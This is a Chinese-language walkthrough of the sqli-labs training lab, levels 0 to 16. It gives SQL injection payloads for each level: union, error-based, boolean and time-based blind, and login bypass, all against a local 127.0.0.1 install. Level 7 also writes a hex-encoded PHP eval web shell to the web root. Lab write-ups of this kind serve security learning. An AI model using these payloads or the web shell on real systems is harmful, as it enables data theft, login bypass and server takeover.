Less-0
配置环境
下载安装phpstudy 2016,官网有旧版,尽量从官网下,安全。(别的版本试了,不太行)
安装后更改数据库密码为 root, 启动
从github下载sqli-labs 解压缩到phpstudy安装目录下的www目录,更改sql-connection文件夹下的db-creds.inc, 设置为
访问 http://127.0.0.1/sqli-labs/
点击 Setup/reset Database for labs 配置数据库,之后就可以痛苦的做题了
sql 注入基本过程
判断sql注入(根据返回的错误信息)
单引号 ‘
双引号 “
and 1=1 或 and 1=2
反斜杠 /
注释(单行注释) –
基于时间的盲注 sleep(5),’ and sleep(5), “ sleep(5)
判断是什么类型的注入,有没有过滤关键字,可否绕过
获取数据库用户,版本,当前连接数据库等信息
获取某个数据库表的信息
获取具体的数据
union 联合查询的使用
group_concat 将查询结果的字符串拼接成一个字符串
查询数据库名: select database()
查询所有数据库名: union select group_concat(schema_name) from INFORMATION_SCHEMA.SCHEMATA
爆出所有数据库: select group_concat(schema_name) from INFORMATION_SCHEMA.SCHEMATA
查数据库名为security下面的表名: union select 1,table_name,3, from information_schema.tables where table_schema='security'
information_schema.tables: 存储mysql数据库下所有表名信息的表
table_schema: 数据库名
table_name: 表名
查询users表明下的列名信息: union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
information_schema.columns: 存储mysql数据库下所有列名信息的表
column_name: 列名
table_name: 表名
查询user表下列名为username, password的数据
union select 1,username,password from users
union select 1,group_concat(username),group_concat(password) from users // 拼接
Less-1
单引号闭合
提示输入id, 暗示存储类型为字符串
构造payload
http://127.0.0.1/sqli-labs/Less-1/?id=1
http://127.0.0.1/sqli-labs/Less-1/?id=1' // 报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
表明 单引号进入MySQL语句
http://127.0.0.1/sqli-labs/Less-1/?id=1' or '1'='1 // 成功
Your Login name:Dumb
Your Password:Dumb
查看字段数为3
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+ // 成功
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 --+ // 失败
测试union语句的返回结果 SELECT 1,2,3…的含义及其在SQL注入中的用法
http://127.0.0.1/sqli-labs/Less-1/?id=1' union select 1,2,3 --+
本来想的是应该返回union后查询的结果, 但是返回的是和之前的一样,查看发现网站文件使用的是 mysql_fetch_array($result), 只会获得结果的第一条非空的数据。应当设法是union前的语句的查询结果为空。id填为0
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+
查看数据库版本与数据库名称
http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,version(),database() --+
payload
http://127.0.0.1/sqli-labs/Less-1/?id=1' union select 1,2,3 --+
Less-2
数字型不需要闭合
提示输入数字, 表示存储类型为数字
payload
http://127.0.0.1/sqli-labs/Less-2/?id=0 union select 1,database(),3 --+
Less-3
http://127.0.0.1/sqli-labs/Less-3/?id=1'
出错 near ''1'') LIMIT 0,1' at line 1
payload
http://127.0.0.1/sqli-labs/Less-3/?id=0') union select 1,database(),3 --+
Less-4
添加双引号报错
http://127.0.0.1/sqli-labs/Less-4/?id=1"
near '"1"") LIMIT 0,1' at line 1
payload
http://127.0.0.1/sqli-labs/Less-4/?id=0") union select 1,database(),3 --+
Less-5
单引号报错
http://127.0.0.1/sqli-labs/Less-5/?id=1'
near ''1'' LIMIT 0,1' at line 1
把多余的注释掉
http://127.0.0.1/sqli-labs/Less-5/?id=1' --+ // 没报错
页面不会显示所有数据库查询到的结果,只会显示数据库的错误信息 (报错注入)
MySQL updatexml()、extractvalue() 报错型SQL注入
payload
pay1:
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat(0x3a,(select database())),1) --+
pay2
http://127.0.0.1/sqli-labs/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23
Less-6
将 less-5的截断符由单引号换位双引号即可(双引号闭合)
Less-7
试错, 错误时只知道有错
http://127.0.0.1/sqli-labs/Less-7/?id=1')) --+ // 成功
提示用into outfile来做, 即需要来写入文件(16进制编码)
http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select null,0x3c3f70687020406576616c28245f504f53545b276b6579275d293b203f3e,null into outfile 'D:\\phpStudy\\WWW\\info.php' --+
写入一句话木马
Less-8
基于bool的盲注
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115 --+
可以判断的查询结果的某个字符的ascill的值
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+
判断长度
同样的方法填充查询语句即可
可以使用python 的request库来进行自动化的实现
Less-9
原理: 利用时间上的延迟来判断前面的结果是否为真
eg: ‘ and (length(database()) = 8) and if (1=1, sleep(5), null) –+
当数据库名字的长度为8的时候会执行sleep(5) 否则的话就直接返回否, 利用的是个条件的逻辑顺序
相当于是第八题 + sleep条件判断
payload:
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (ascii(substr((select database()) ,1,1))) = 115 +and+if(1=1, sleep(1), null) --+
Less-10
将Less-9的单引号截断符改为双引号即可
Less-11
输入错误时报错如: admin’
username: 填入 admin' --
注意最后应该有空格
显示登录成功
admin' order by 2 --
发现字段数为2
payload
Less-12
试探发现使用 admin") --
最后用空格, 登录成功.
Less-13
填入 admin’ 得到报错信息
near ‘’admin’’) and password=(‘’) LIMIT 0,1’ at line 1
闭合方式 ‘)
利用Less-5的报错注入
payload
post: uname= admin') union select updatexml(1,concat(0x3a,(select database())),1) -- +&passwd=1&submit=Submit
Less-14
和Less-13 的闭合方式不同, 其他的都一样
post: uname= admin" union select updatexml(1,concat(0x3a,(select database())),1) -- +&passwd=1&submit=Submit
Less-15
什么提示都没有,无论登录成功还是失败
使用 admin’ –空格 登录成功, 闭合符为 '
利用登录是否成功进行盲注
post: uname=' or (length(database())) = 8 #&passwd=' or 1=1 -- &submit=Submit
参考 Less-8
Less-16
和Less-15 相似, 闭合符号不一样
payload
闭合: admin") --
post: uname=") or (length(database())) = 8 #&passwd=' or 1=1 -- &submit=Submit
总结
试探
- 单引号
- 双引号
- 单引号/双引号 + 注释
- 单引号/双引号 + )
- 当引号/双引号 + ) + 注释
判断是要进行盲注还是进行报错注入或者进行简单的select 1,2,3 这样的注入
构造payload
编写自动化python代码, 执行大量的判断动作